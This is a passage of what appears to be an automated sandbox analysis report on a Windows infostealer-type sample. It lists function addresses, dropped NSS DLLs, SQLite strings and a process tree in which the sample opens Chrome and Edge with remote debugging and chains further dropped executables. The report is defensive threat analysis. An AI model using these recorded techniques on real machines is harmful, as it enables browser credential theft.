Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C640EC0	0_2_6C640EC0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C626E90	0_2_6C626E90
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C662F70	0_2_6C662F70
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C60EF40	0_2_6C60EF40
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5A6F10	0_2_6C5A6F10
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6E0F20	0_2_6C6E0F20
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C67EFF0	0_2_6C67EFF0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5A0FE0	0_2_6C5A0FE0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6E8FB0	0_2_6C6E8FB0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5AEFB0	0_2_6C5AEFB0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C674840	0_2_6C674840
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C62A820	0_2_6C62A820
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5F0820	0_2_6C5F0820
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6A68E0	0_2_6C6A68E0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5D8960	0_2_6C5D8960
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5F6900	0_2_6C5F6900
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6BC9E0	0_2_6C6BC9E0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5D49F0	0_2_6C5D49F0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6309A0	0_2_6C6309A0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C65A9A0	0_2_6C65A9A0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6609B0	0_2_6C6609B0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C61CA70	0_2_6C61CA70
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C658A30	0_2_6C658A30
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C64EA00	0_2_6C64EA00
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C61EA80	0_2_6C61EA80
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6A6BE0	0_2_6C6A6BE0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C640BA0	0_2_6C640BA0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5B8460	0_2_6C5B8460
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C604420	0_2_6C604420
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C62A430	0_2_6C62A430
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5E64D0	0_2_6C5E64D0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C63A4D0	0_2_6C63A4D0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6CA480	0_2_6C6CA480
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C602560	0_2_6C602560
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C640570	0_2_6C640570
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5F8540	0_2_6C5F8540
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6A4540	0_2_6C6A4540
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6E8550	0_2_6C6E8550
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C66A5E0	0_2_6C66A5E0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C62E5F0	0_2_6C62E5F0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5945B0	0_2_6C5945B0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5FC650	0_2_6C5FC650
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C63E6E0	0_2_6C63E6E0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5C46D0	0_2_6C5C46D0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5FE6E0	0_2_6C5FE6E0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C620700	0_2_6C620700
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5CA7D0	0_2_6C5CA7D0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5EE070	0_2_6C5EE070
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C66C000	0_2_6C66C000
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C668010	0_2_6C668010
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C598090	0_2_6C598090
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C67C0B0	0_2_6C67C0B0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5B00B0	0_2_6C5B00B0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C608140	0_2_6C608140
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C616130	0_2_6C616130
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C684130	0_2_6C684130
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5A01E0	0_2_6C5A01E0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C628260	0_2_6C628260
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C638250	0_2_6C638250
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C678220	0_2_6C678220
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C66A210	0_2_6C66A210
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C7262C0	0_2_6C7262C0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6722A0	0_2_6C6722A0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C66E2B0	0_2_6C66E2B0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6BC360	0_2_6C6BC360
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C636370	0_2_6C636370
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5A8340	0_2_6C5A8340
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6E2370	0_2_6C6E2370
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5A2370	0_2_6C5A2370
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C612320	0_2_6C612320
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5F43E0	0_2_6C5F43E0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5FE3B0	0_2_6C5FE3B0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5D23A0	0_2_6C5D23A0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5A3C40	0_2_6C5A3C40
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6C9C40	0_2_6C6C9C40
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5B1C30	0_2_6C5B1C30
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C661CE0	0_2_6C661CE0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6DDCD0	0_2_6C6DDCD0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C63FC80	0_2_6C63FC80
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C603D00	0_2_6C603D00
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C671DC0	0_2_6C671DC0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C593D80	0_2_6C593D80
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6E9D90	0_2_6C6E9D90
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C725E60	0_2_6C725E60
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6FBE70	0_2_6C6FBE70
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6ADE10	0_2_6C6ADE10
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5C3EC0	0_2_6C5C3EC0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6F7F20	0_2_6C6F7F20
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C595F30	0_2_6C595F30
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5D5F20	0_2_6C5D5F20
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C64BFF0	0_2_6C64BFF0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6BDFC0	0_2_6C6BDFC0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C723FC0	0_2_6C723FC0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5C1F90	0_2_6C5C1F90
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5FD810	0_2_6C5FD810
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C67F8F0	0_2_6C67F8F0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6FB8F0	0_2_6C6FB8F0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C63F8C0	0_2_6C63F8C0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5AD8E0	0_2_6C5AD8E0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5D38E0	0_2_6C5D38E0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C61F960	0_2_6C61F960
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C65D960	0_2_6C65D960
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C655920	0_2_6C655920
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6EF900	0_2_6C6EF900
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5D99D0	0_2_6C5D99D0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6059F0	0_2_6C6059F0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6379F0	0_2_6C6379F0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6399C0	0_2_6C6399C0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5B1980	0_2_6C5B1980
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C671990	0_2_6C671990
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C729A50	0_2_6C729A50
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5DFA10	0_2_6C5DFA10
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C69DA30	0_2_6C69DA30
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C641A10	0_2_6C641A10
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5A1AE0	0_2_6C5A1AE0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C67DAB0	0_2_6C67DAB0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C67FB60	0_2_6C67FB60
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_008C78BB	14_2_008C78BB
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_008C7049	14_2_008C7049
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_008C8860	14_2_008C8860
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_008C31A8	14_2_008C31A8
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_00884B30	14_2_00884B30
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_00884DE0	14_2_00884DE0
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_008C2D10	14_2_008C2D10
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_008C779B	14_2_008C779B
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_008B7F36	14_2_008B7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_001C7049	15_2_001C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_001C8860	15_2_001C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_001C78BB	15_2_001C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_001C31A8	15_2_001C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00184B30	15_2_00184B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_001C2D10	15_2_001C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00184DE0	15_2_00184DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_001B7F36	15_2_001B7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_001C779B	15_2_001C779B

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001980C0 appears 130 times
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: String function: 6C5C9B10 appears 90 times
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: String function: 6C5C3620 appears 86 times
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: String function: 6C6D9F30 appears 50 times
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: String function: 6C5FC5E0 appears 35 times
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: String function: 6C7209D0 appears 145 times
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: String function: 008980C0 appears 130 times

Source: R2CgZG545D.exe, 00000000.00000002.2668892641.000000006F8E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs R2CgZG545D.exe
Source: R2CgZG545D.exe, 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs R2CgZG545D.exe

Source: R2CgZG545D.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: EHJKKKFIIJ.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9980947717983651
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9980947717983651
Source: skotes.exe.14.dr	Static PE information: Section: ZLIB complexity 0.9980947717983651

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@42/56@5/9

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Code function: 0_2_6C600300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C600300

Source: C:\Users\user\Desktop\R2CgZG545D.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\7MI6UBTE.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7196:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7444:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\EHJKKKFIIJ.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\System32\conhost.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Users\user\Desktop\R2CgZG545D.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: R2CgZG545D.exe, 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, R2CgZG545D.exe, 00000000.00000002.2659820688.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2646366752.00000000059A8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: R2CgZG545D.exe, 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, R2CgZG545D.exe, 00000000.00000002.2659820688.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2646366752.00000000059A8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: R2CgZG545D.exe, 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, R2CgZG545D.exe, 00000000.00000002.2659820688.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2646366752.00000000059A8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: R2CgZG545D.exe, 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, R2CgZG545D.exe, 00000000.00000002.2659820688.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2646366752.00000000059A8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: R2CgZG545D.exe, R2CgZG545D.exe, 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, R2CgZG545D.exe, 00000000.00000002.2659820688.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2646366752.00000000059A8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: R2CgZG545D.exe, 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, R2CgZG545D.exe, 00000000.00000002.2659820688.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2646366752.00000000059A8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: R2CgZG545D.exe, 00000000.00000002.2659820688.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2646366752.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: R2CgZG545D.exe, 00000000.00000003.2402422036.0000000005888000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000003.2266227426.0000000005895000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000003.2402880837.000000000146C000.00000004.00000020.00020000.00000000.sdmp, KJKEHIIJJECFHJKECFHD.0.dr, CAKEBFCFIJJKKECAKJEH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: R2CgZG545D.exe, 00000000.00000002.2659820688.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2646366752.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: R2CgZG545D.exe, 00000000.00000002.2659820688.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2646366752.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: R2CgZG545D.exe	Virustotal: Detection: 54%
Source: R2CgZG545D.exe	ReversingLabs: Detection: 47%

Source: R2CgZG545D.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: EHJKKKFIIJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\R2CgZG545D.exe "C:\Users\user\Desktop\R2CgZG545D.exe"
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2092,i,5216794455823699490,3193529154071514204,262144 /prefetch:8
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2224,i,14321603790260887012,4088667357503153819,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1940,i,17350180843755369966,13513433149912456994,262144 /prefetch:3
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EHJKKKFIIJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EHJKKKFIIJ.exe "C:\Users\user\Documents\EHJKKKFIIJ.exe"
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe "C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe"
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EHJKKKFIIJ.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
